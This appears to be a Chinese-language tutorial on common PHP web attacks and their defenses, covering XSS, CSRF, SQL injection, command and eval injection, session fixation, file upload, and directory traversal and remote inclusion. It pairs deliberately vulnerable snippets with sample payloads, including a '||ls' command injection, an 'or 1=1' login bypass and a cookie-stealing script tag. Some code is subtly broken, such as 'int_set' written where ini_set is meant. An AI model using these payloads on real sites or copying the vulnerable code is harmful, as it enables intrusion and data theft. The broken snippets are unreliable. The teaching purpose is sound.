跳至主要內容

php网站安全

Moments大约 23 分钟

php网站安全


常见攻击方式

  • 跨站脚本攻击 - XSS
  • 跨站伪造请求攻击 - CSRF
  • SQL注入攻击
  • 文件上传漏洞攻击
  • 分布式拒绝服务攻击 - DDOS

XSS

跨站脚本攻击(Cross Site Scription),恶意攻击者往Web页面里插入恶意Script代码, 当用户浏览该页之时,嵌入在Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS攻击目的

  • 盗用cookie,获取敏感信息。

XSS防御

  • PHP的htmlentities()或是htmlspecialchars()
  • 对特殊字符<``>``&``'``"等进行转义。
  • 使用HTTP头指定类型,使得输出的内容避免被作为HTML解析。
<?php
   header('Content-Type: text/javascript; charset=utf-8');
?>

CSRF

CSRF(Cross site request forgery)跨站请求伪造。是一种对网站的恶意利用。

CSRF与XSS比较

XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用信任的网站。

CSRF攻击原理及实例

CSRF攻击原理比较简单,如图1所示。其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息, 向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF漏洞防御

CSRF漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备的防御。

  • 服务端的防御
  • 用户端的防御
  • 安全设备的防御

服务端的防御

  1. 验证HTTP Referer字段

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。 比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank. test, 然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL (本例中,通常是以bank. test域名开头的地址)。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求, 当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击, 银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。 如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

  1. 在请求地址中添加token并验证

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中, 因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于: 在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token, 并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

  1. 在HTTP头中自定义属性并验证

自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中, 而是把它放到HTTP头中自定义的属性里。通过XMLHttpRequest这个类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性, 并把token值放入其中。这样解决了前一种方法在请求中加入token的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏, 也不用担心token会通过Referer泄露到其他网站。

用户端的防御

养成良好的上网习惯,不乱点链接和图片。

SQL注入

所谓 SQL注入(SQL injection),就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

  • 脚本注入式的攻击
  • 恶意用户输入用来影响被执行的SQL脚本

SQL注入攻击的防御手段

  1. 在服务端正式处理之前对提交数据的合法性进行检查;
  2. 封装客户端提交信息;
  3. 替换或删除敏感字符/字符串;
  4. 屏蔽出错信息。
  5. 使用PDO做数据库操作。
  6. 实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式。

文件上传漏洞

文件上传漏洞原因

  1. 服务器目录有执行权限
  2. 可以上传随意后缀文件,如.php等

文件上传漏洞如何防止

  1. 对上传目录进行权限限制。设置只读属性
  2. 对上传文件判断类型、然后重新生成文件名、重新生成一张图片,可以打乱图片里木马的顺序

DDoS(分布式拒绝服务攻击)

DDOS是Distributed Denial of Service的缩写,翻译成中文是“分布式拒绝服务“攻击,网络中的DDOS攻击与防御与上面例子所述差不多, DDOS只不过是一个概称,其下有各种攻击方式,比如“CC攻击、SYN攻击、NTP攻击、TCP攻击、DNS攻击等等”,现在DDOS发展变得越来越可怕, NTP攻击渐渐成为主流了,这意味着可以将每秒的攻击流量放大几百倍,比如每秒1G的SYN碎片攻击换成NTP放大攻击,就成为了200G或者更多。

DDos例子解释

  1. 某饭店可以容纳100人同时就餐,某日有个商家恶意竞争,雇佣了200人来这个饭店坐着不吃不喝, 导致饭店满满当当无法正常营业。(DDOS攻击成功)
  2. 老板当即大怒,派人把不吃不喝影响正常营业的人全都轰了出去,且不再让他们进来捣乱, 饭店恢复了正常营业。(添加规则和黑名单进行DDOS防御,防御成功)
  3. 主动攻击的商家心存不满,这次请了五千人逐批次来捣乱,导致该饭店再次无法正常营业。 (增加DDOS流量,改变攻击方式)饭店把那些捣乱的人轰出去只后,另一批接踵而来。 此时老板将饭店营业规模扩大,该饭店可同时容纳1万人就餐,5000人同时来捣乱饭店营业也不会受到影响。(增加硬防与其抗衡)

PHP网站常见的几种攻击方式

命令注入(Command Injection)

$cmd = shell_exec('ping -c 4' . $_GET['ip']);
echo "<pre>{$cmd}</pre>";
// 攻击例子
http://localhost?ip=127.0.0.1||ls
// 逻辑运算符可以参与其中

eval注入(Eval Injection)

$userName = "Moments";
$name = $_GET['name'];
eval("\$userName = $name;");
// 攻击例子
http://localhost?name=phpinfo();

客户端脚本攻击(Script Insertion)

if (isset($_GET['name'])) {
    $pdo = new PDO("mysql:dbname=mydb;host=127.0.0.1", 'root', '123456');
    $sql = "update mytb set name = '" . $_GET['name'] . "' where id = 3";
    $result = $pdo->exec($sql);
}
$pdo = new PDO("mysql:dbname=mydb;host=127.0.0.1", 'root', '123456');
$sql = "select name from mytb limit 3";
$result = $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC);
foreach ($result as $key => $value) {
    echo "<h5>" . $value['name'] . "</h5>";
}
// 攻击例子
http://localhost?name=<script>alert(123456)</script>

跨网站脚本攻击(Cross Site Scripting,XSS)

XSS攻击。正常情况下不存在特殊字符的使用htmlspecialchars转义,反之过滤特殊字符。

攻击者将恶意代码注入到网页上,其他用户在加载网页时就会执行代码,攻击者可能得到包括但不限于更高的权限、 私密网页内容、会话和cookie等各种内容。 这些恶意代码通常是JavaScript、HTML以及其他客户端脚本语言。

<?php
echo 'Welcome ' . $_GET['name'];

如果传入一段脚本,那么脚本也可能会执行。 例如:

http://localhost?name=<script>alert(123456)</script>

常用的攻击手段有:

1、盗用cookie,获取敏感信息; 2、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作, 或执行一些一般的如发微博、加好友、发私信等操作; 3、利用可被攻击的域受到其他域信息的特点,以受信任来源的身份请求一些平时允许的操作,如进行不当的投票活动; 4、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。

防范方法

1、使用htmlspecialchars函数将特殊字符转换成HTML编码(实体)。 2、过滤输出的变量。

SQL注入攻击(SQL Injection)

攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串,欺骗服务器执行恶意的SQL命令。 在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。

常见的SQL注入式攻击过程例如:

1、某个Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码; 2、登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数;

$query  = 'SELECT * from Users WHERE login = ' . $username . ' AND password = ' . $password;

3、攻击者在用户名和密码输入框中输入'或'1'='1之类的内容; 4、用户输入的内容提交给服务器之后,服务器运行上面的代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:

SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'

5、服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比; 6、由于SQL命令实际上已被注入式攻击修改,已经不能真正难用户身份,所以系统会错误地授权给攻击者。

如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询,他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能, 欺骗系统授予访问权限。 系统环境不同,攻击者可能造成的损害也不同,这主要由应用访问数据库的安全权限决定。 如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作, 包括添加、删除或更新数据,甚至可能直接删除表。

防范方法

1、检查变量的数据类型和格式。 2、过滤特殊符号。 3、绑定变量,使用预处理语句,即PDO里的占位符。

跨网站请求伪造攻击(Cross Site Request Forgeries,CSRF)

CSRF。严格来说非幂等操作都加上token,但实际上比较重要的接口验证一下就行了。

攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。

攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单南这个连接,由于是用户自己点击的,而他又是合法用户拥有合法权限, 所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。

它与XSS的攻击方法不同,XSS利用漏洞影响站点内的用户,攻击目标是同一站点内的用户者, 而CSRF通过伪装成受害用户发送恶意请求来影响Web系统中受害用户的利益。

例如: 某个购物网站购买端口时,采用http://localhost?item=watch&new=100, item参数确定要购买什么物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接, 那么如果目标用户不小心访问以后,购买的数量就成了100个。

防范方法

1、检查网页的来源。 2、检查内置的隐藏变量。 3、使用POST,不要使用GET,处理变量也不要直接使用$_REQUEST

Session劫持攻击(Session Hijacking)

攻击者利用各种手段来获取目标用户的session id。一旦获取到session id,那么攻击者可以利用目标用户来登录网站, 获取目标用户的操作权限。

攻击者获取目标用户session id的方法:

1、暴力破解:尝试各种session id,直到破解为止; 2、计算:如果session id使用非随机的方式产生,那么就有可能计算出来; 3、窃取:使用网络截获,xss攻击等方法获得;

防范方法

1、定期更改session id。 2、更改session的名称。 3、关闭透明化session id。 4、设置HttpOnly。通过设置Cookie的HttpOnly为true, 可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。

header('Set-Cookie: hidden=value; httpOnly');

Session固定攻击(Session Fixation)

攻击者预告设定session id,让合法用户使用这个session id来访问被攻击的应用程序, 一旦用户的会话ID被成功固定,攻击者就可能通过此session id来冒充用户访问应用程序。

例如: 1、攻击者访问网站http://localhost,获取他自己的session id,如:SID=123; 2、攻击者给目标用户发送链接,并带上自己的session id,如http://localhost?SID=123; 3、目标用户点击了http://localhost?SID=123,像往常一样,输入自己的用户名、密码登录到网站; 4、由于服务器的session id不改变,现在攻击者点击http://localhost?SID=123,他就拥有了目标用户的身份。

防范方法

1、定期更改session id

session_regenerate_id(TRUE); // 删除旧的session文件,每次都会产生一个新的session id。默认false,保留旧的session

2、更改session的名称 session的默认名称是PHPSESSID,此变量会保存在cookie中,如果攻击者不抓包分析,就不能猜到这个名称,阻挡部分攻击

session_name("m_session");

3、关闭透明化session id 透明化session id指当浏览器中的http请求没有使用cookie来制定session id时,session id使用链接来传递

int_set("session.use_trans_sid", 0);

4、只从cookie检查session id

int_set("session.use_cookies", 1); // 表示使用cookies存放session id
int_set("session.use_only_cookies", 1); // 表示只使用cookies存放session id

5、使用URL传递隐藏参数

$sid = md5(uniqid(rand()), TRUE);
$_SESSION["sid"] = $sid; // 令牌,攻击者跃然能获取session数据,但是无法得知$sid的值,
// 只要检查sid的值,就可以确认当前页面是否是web程序自己调用的

HTTP响应拆分攻击(HTTP Response Splitting)

header("Location: http://www.baidu.com\r\nContent- Length: 0\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 41\r\nHello, you have been phished");
// PHP新版中,已经不允许在HTTP表头内出现换行字符

文件上传漏洞攻击(File Upload Attack)

攻击者利用程序缺陷绕过系统对文件的验证与处理策略将恶意代码上传到服务器并获得执行服务器端命令的能力。

常用的攻击手段有

1、上传Web脚本代码,Web容器解释执行上传的恶意脚本; 2、上传Flash跨域策略文件crossdomain.xml,修改访问权限; 3、上传病毒、木马文件,诈骗用户和管理员下载执行; 4、上传包含脚本的图片,某些浏览器的低级版本会执行该脚本,用于钓鱼和欺诈。

总的来说,利用上传文件要么具备可执行能力,要么具备影响服务器行为的能力。

防范的方法

1、文件上传的目录设置为不可执行; 2、判断文件类型,设置白名单。对于图片的处理,可以使用压缩函数或者resize函数, 在处理图片的同时破坏图片中可能包含的HTML代码; 3、使用随机数改写文件名和文件路径:一个是上传后无法访问;再来就是像shell、php、rar和crossdomain.xml这种文件 都将因为重命名而无法攻击; 4、单独设置文件服务器的域名:由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、 上传包含Javascript的XSS利用等问题将得到解决。

目录穿越漏洞(Directory Traversal)

$file_name = $_GET['file']; // "down.md";     //下载文件名
$file_dir = "./";        //下载文件存放目录
//检查文件是否存在
if (! file_exists ( $file_dir . $file_name )) {
    header('HTTP/1.1 404 NOT FOUND');
} else {
    //以只读和二进制模式打开文件
    $file = fopen ( $file_dir . $file_name, "rb" );

    //告诉浏览器这是一个文件流格式的文件
    Header ( "Content-type: application/octet-stream" );
    //请求范围的度量单位
    Header ( "Accept-Ranges: bytes" );
    //Content-Length是指定包含于请求或响应中数据的字节长度
    Header ( "Accept-Length: " . filesize ( $file_dir . $file_name ) );
    //用来告诉浏览器,文件是可以当做附件被下载,下载后的文件名称为$file_name该变量的值。
    Header ( "Content-Disposition: attachment; filename=" . $file_name );

    //读取文件内容并直接输出到浏览器
    echo fread ( $file, filesize ( $file_dir . $file_name ) );
    fclose ( $file );
    exit ();
}
// 攻击例子
http://localhost?file=css/app.css

远程文件包含攻击(Remote Inclusion)

$file = $_GET['file'];
include $file;
// 攻击例子
http://localhost/?file=http://localhost/get.php

URL攻击(URL attack)

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤, Web安全习惯上将所有用户输入的数据假定为受污染的数据。

表单数据泄漏攻击

这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,导致用户和密码都在URL上直接显示出来。 还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用JavaScript对密码和用户加密后提交到服务器, 而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率, 当然如果你的加密程序能超过或者接近现在流行的公共加密算法,那么也是可以的。

语义URL攻击

这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://localhost?user=abc&email=abc@qq.com,那么产生的攻击也很简单, 只要将user=abc改成什么问题其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据。

文件上传攻击

文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。 常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你的客户端中只是简单的限制了一下, 那些对于心怀不轨者都是摆设,太容易绕开了。

假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者, 但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文件而已。

跨站脚本攻击

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。 所有有输入的应用都面临着风险。 Webmail、论坛、留言本、甚至是Blog。 事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。 如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。 比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入

<script> document.location = ’http://localhost?cookies=’ + document.cookie</script>

结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。

HTTP请求欺骗攻击

所谓上有政策下有对策,很多项目为了最大程序的得到高可信任的用户输入,甚至添加了判断referer的功能, 可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。

毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题, 所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议。 针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方法变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个404页面而已。

表单提交欺骗攻击(Spoofed Form Submissions)

制造一个欺骗表单几乎与制造一个URL一样简单。 毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。 请求的部分格式取决于表单,某些请求中的数据来自于用户。

<form action="process.php" method="POST">
// 由相对路径改成绝对路径,这样可以将表单放置在任何地方
<form action="http://localhost/path/to/process.php" method="POST">

这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。 意识到这一点,攻击者可以通过查看页面源文件并保存在他的服务器上,同时将action更改为绝对URL地址。 通过使用这些手段,攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码, 更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。 这些更改帮助攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做到。

欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。 不过你不需要担心。一旦正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

如果你试验这个技巧时,你可能会注意到大多数浏览器会在HTTP头部包括一个Referer信息以标识前一个页面的地址。 在本例中,Referer的值是表单的URL地址。请不要被它所迷惑而用它来区分你的表单提交还是欺骗表单提交。

16、HTTP请求欺骗攻击(Spoofed HTTP Requests)

一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。 这给了攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。

攻击者如何更改原始的HTTP请求? 过程非常简单。通过在大多数系统平台上都提供的Telnet实用程序,你就可以通过连接网站服务器的侦听端口来与Web服务器直接通信。

telnet localhost 8080
Trying 127.0.0.1...
Connected to m.com.
Escape character is '^]'.
GET / HTTP/1.1 // 这个要自己写,请求网站根网址
Host:localhost // 这个要自己写,两次回车即为结束

上例中所显示的请求是符合HTTP/1.1规范的最简单的GET请求,这是因为Host信息是头部信息中所必须有的。 一旦你输入了表示请求结束的连续两个换行符,整个HTML的回应即显示在屏幕上。

当然使用PHP也可以创建一个HTTP请求。

$hostName = 'localhost';
$url = '/get.php';
$port = 8080;
$timeOut = 10;

// 创建连接
$fp = fsockopen($hostName, $port, $errno, $errstr, $timeOut);

// 创建失败,退出并打印错误提示
if (!$fp) exit($errstr);

// 拼接http请求报文
$http = '';

// 请求行,请求方式,URL,http协议版本
$http .= "GET $url HTTP/1.1\r\n";

// 请求头
$http .= "Host: $hostName\r\n";
$http .= "Connection: close\r\n\r\n"; // 关闭长连接

// 请求体,无

// 发送请求
fwrite($fp, $http);

// 获取响应内容
$result = '';
while (!feof($fp)) {
    $result .= fgets($fp);
}

// 打印响应内容
echo $result;
上次编辑于:
贡献者: Moments